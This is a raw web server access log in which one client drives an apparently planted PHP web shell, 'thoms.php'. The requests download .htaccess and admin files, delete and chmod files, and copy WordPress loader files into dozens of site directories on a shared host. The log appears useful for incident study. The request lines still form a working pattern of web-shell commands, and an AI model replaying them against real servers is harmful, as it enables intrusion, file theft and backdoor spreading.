45.135.193.11 - - [11/Sep/2026:23:38:48 -0400] "GET /thoms.php?chmod=termps.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=termps.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:48 -0400] "GET /betcity.com.tw/upgrade HTTP/1.1" 301 795 "http://163.245.207.76:443/betcity.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:48 -0400] "GET /thoms.php?dl=admin.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13767 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:48 -0400] "GET /betcity.com.tw/upgrade/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:48 -0400] "GET /betcity.com.tw/upgrade/ HTTP/1.1" 200 6548 "https://163.245.207.76:443/betcity.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade&view=error_log HTTP/1.1" 200 12078 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fupgrade&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade&view=index.php HTTP/1.1" 200 11828 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fupgrade&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:49 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade&view=.632865255236320.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fupgrade&view=.632865255236320.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:49 -0400] "GET /thoms.php?dl=.htaccess&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13777 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:49 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13776 "https://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fupgrade&view=.632865255236320.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:49 -0400] "GET /thoms.php?del=admin.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13776 "http://163.245.207.76:443/thoms.php?del=admin.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:49 -0400] "GET /betcity.com.tw/upgrade/txets.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:49 -0400] "GET /thoms.php?del=termps.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13776 "http://163.245.207.76:443/thoms.php?del=termps.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:49 -0400] "GET /betcity.com.tw/upgrade/admin.php HTTP/1.1" 200 1105 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:49 -0400] "GET /thoms.php?dl=txets.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13775 "http://163.245.207.76:443/thoms.php?dl=txets.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:49 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade&upload= HTTP/1.1" 200 12175 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fupgrade&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:49 -0400] "GET /thoms.php?chmod=index.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:49 -0400] "GET /thoms.php?chmod=postnews.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?chmod=postnews.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:49 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade%2Ferror_log&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fupgrade%2Ferror_log&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:49 -0400] "GET /thoms.php?dl=termps.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13779 "http://163.245.207.76:443/thoms.php?dl=termps.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:49 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:49 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11441 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:49 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-load.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-load.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:49 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-load.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-load.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-load.php&p= HTTP/1.1" 200 12369 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11394 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:50 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 20613 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-load.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:50 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 20570 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-load.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11324 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11401 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p= HTTP/1.1" 200 12367 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-settings.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-settings.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:51 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 20615 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-settings.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:51 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:51 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11414 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:51 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-settings.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-settings.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:51 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 20734 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-settings.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:51 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:51 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11411 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:51 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=wp-content HTTP/1.1" 200 11432 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:51 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=wp-content-20260912023544 HTTP/1.1" 200 11375 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:51 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:51 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=besth2o.com.tw HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:51 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=bfl.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22600 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:51 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=bft.com.tw HTTP/1.1" 200 11441 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:51 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=cgi-bin HTTP/1.1" 200 11324 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:51 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=bogroup.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:51 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=upgrade HTTP/1.1" 200 11383 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=bestjudy.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22602 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22611 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=bioway88.com.tw HTTP/1.1" 200 11502 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=betcity.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=big-wife.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=biotaiwan.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=booking-wise2.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=ba-guo.com.tw HTTP/1.1" 200 11325 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=beauty-dental.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
